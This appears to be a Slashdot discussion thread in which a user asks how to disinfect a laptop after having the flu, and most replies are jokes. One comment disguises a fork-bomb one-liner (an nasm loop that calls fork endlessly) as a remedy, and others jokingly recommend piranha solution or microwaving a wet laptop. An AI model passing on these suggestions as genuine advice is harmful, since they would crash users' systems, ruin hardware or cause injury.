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What Is the Best Way To Disinfect Your Laptop?
akutz writes "I've had the flu since Tuesday afternoon. My wife picked me up from work with a temperature of 103.6 and it finally broke at 98.7 around 3am this morning. Yay. The problem is that I used my laptop during my periods of feverish deliriousness, contaminating my shiny 15" MacBook Pro with the icky influenza virus. I am asking my fellow Slashdotters if they have ever sought out a good way of disinfecting their lucky laptops after an illness. Do you use soap? A light acid bath? Just get the family dog to lick it until it looks clean?"
Then you won't have to worry about it.
for the crippling virus infecting their machines.
Admit it. You post strawman arguments as AC so you get modded Insightful for refuting them, rather than Troll
Yes, you could be wrong.
"No, no, no. Don't tug on that. You never know what it might be attached to."
Sounds like you might have been exposed to hypochondria as well. You should go to a specialist and have that checked out right away.
Use a condom?
;)
I kid, I kid.
Bye bye karma
Just wait a day or two. The germs will die, you shouldn't get sick again since you just got done fighting it, and if your wife's going to get sick, I don't think the MacBook is going to be the reason why.
Goo goo g'joob.
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It's the only way to be sure.
Updating your virus definitions?
You really don't want to give your nasties to anyone, so I would recommend this: http://en.wikipedia.org/wiki/Piranha_solution
I am a geek attorney, but not your geek attorney unless you've already retained me. This is not legal advice.
I'd think twice about doing this. You will end up killing 99% of the bugs, but the 1% that survive will be sunlight resistant! You'll kill us all!
Tsunami -- You can't bring a good wave down!
I heard that's fairly immune to virus's.
Just sell it on eBay. Problem solved.
But, for a short time, that infected laptop gives 'p2p sharing' a whole new meaning.
Bearded Dragon
True, you don't have to worry about your family, but don't waste a golden opportunity - lend it to your least favorite co-worker!!
Install an Antivirus...
What is best in life? To crush your enemies, to see them driven before you and to hear the lamentations of their women.
...it'll come back cleaner than it was when you bought it.
rj
This is Slashdot. I think you need to go into more explanation about this whole sunlight thing.
Anthropic principle: We see the universe the way it is because if it were different we would not be here to see it.
You'll kill us all!
If I was from Control, you'd already be dead.
Great, now you tell me!
Vodka.
just open a couple terminal windows and run a few yes > /dev/null processes while playing a game of guitar hero, you'll fry the little bastards quickly enough.
Since it's a mac, use soap and a bucket of water :P
in conjunction with a good blow job and
Yes, a good blow job is a great way to improve almost any situation.
Procrastination Man strikes again!
The problem is that I used my laptop during my periods of feverish deliriousness, contaminating my shiny 15" MacBook Pro with the icky influenza virus. I am asking my fellow Slashdotters if they have ever sought out a good way of disinfecting their lucky laptops after an illness
Don't worry about it. There isn't a virus yet that can make the leap from biological to technological infection. Your laptop is perfectly safe.
When our name is on the back of your car, we're behind you all the way!
Now that you have survived, and, correct me if I am wrong ...
If the guy didn't survive and is still correcting you, you shouldn't be dispensing advice, you want to make sure he doesn't eat your brain.
... also, I can kill you with my brain.
Nuke it from orbit. It's the only way to be sure...
The difference between spam and poop is that you don't have to dig through septic tanks looking for real food. -- Me
A good ol' alcohol wipe will do the trick! You know, like the alcohol prep pads doctors use to disinfect your skin before sticking you with a needle. We use them all of the time at work to disinfect our cameras after daily use.
Disinfect your cameras after daily use? Do I wanna know?
Unfortunately, this does not work on illegal aliens, spammers, trolls, and people who listen to Amy Winehouse.
Honestly, this is the best suggestion. Your body JUST fought off the infection, which involved destroying billions of individual pathogens. Your helper T cells have the pathogen stored in thier memory so that if the pathogen is detected again, the proper antibody will be deployed and the pathogen will be distroyed.
Congratulations! You are IMMUNE to that particular pathogen.
I would recommend you Lysol your cubemates and tell them to keep thier grubby hands to themselves!
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Back when I was young we ate the dirt and were thankful for it. You young whippersnappers these days...how's one supposed to win a war with you?
You had dirt? You were lucky. We had to eat ones and zeroes. Some days all we had were zeroes. We ate 'em and were glad.
"And that's why we shouldn't use condoms, honey."
Agreed. The virus isn't a concern, he's immune to it anyway, and I suspect his family is well exposed. Soap and water to wipe off any obvious snot globs.
there are some spore based viruses and even, organisms that are virtually impossible to destroy.
Hello, my name is Muhammad. I am a student in the tribal areas of Pakistan, majoring in Shariah Law and Biological Warfare. Could you please mail me some samples of the spore based viruses? My boss has asked to give a presentation on them in New York.
I will tell my boss to mail US$1million to you in used notes if you can help me. We will pack it in a lead box to make sure that it is not confiscated by customs.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Pangalactic Gargleblaster should do the trick.
Beer! It's what's for breakfast!
I dunno, there's something about this ask slashdot that doesn't quite ring true.
He's the kind of guy that:
and yet... he has a wife?
Virii... virora...
Is it silly plurals week again?
All this talk of cleansing gels and sprays is pointless.
No matter what you do it will still be a Mac.
(-1 Flamebait, I know)
erroneous: look me up in a dictionary
Unfortunately, this does not work on illegal aliens, spammers, trolls, and people who listen to Amy Winehouse.
You're just not using enough UV.
silly pluri week it is...
...and take it back to the shop.
Tell them that you have far too light a grasp on reality to own such a technologically powerful piece of equipment.
Then you should volunteer to help all those starving and sick children in the world, I would try Africa first, it's always in the news.
After about eighteen minutes you will experience a gradual realisation of how, once, your life was so shallow and empty that you filled it with material things and then obssessed about non-existent threats to your health.
Then you will feel good, proud even, it may be almost an epiphany.
You will then be ready to own any of the many gadgets that makes modern life so filled with purpose.
Hang on a minute! Isn't this just a reworking of the classic Playboy© readers letter about how to keep the stylus on their expensive hi fi free from dust and dirt?
Damn you Troll, you damn you all to hell!
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There was an article on how to disinfect sponges recently and I think it would work on your laptop as well: Put it in the microwave on high for two minutes. Make sure you wet it first, or you'll get lots of smoke.
This is not my sandwich.
Yes, you probably do.
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Dear Sir!
A private jet has been dispatched to carry you to our newest resort on the island of Cuba, all expenses included. We at the Department of Homeland Security hope you have a pleasant trip and stay. If you sign up 5 or more co-workers we will book you up for a group trip, all expenses included for all of you. /Sincearly your friends at DoHS.
Soap and water works well on rice pudding on the screen and keyboard too. ;)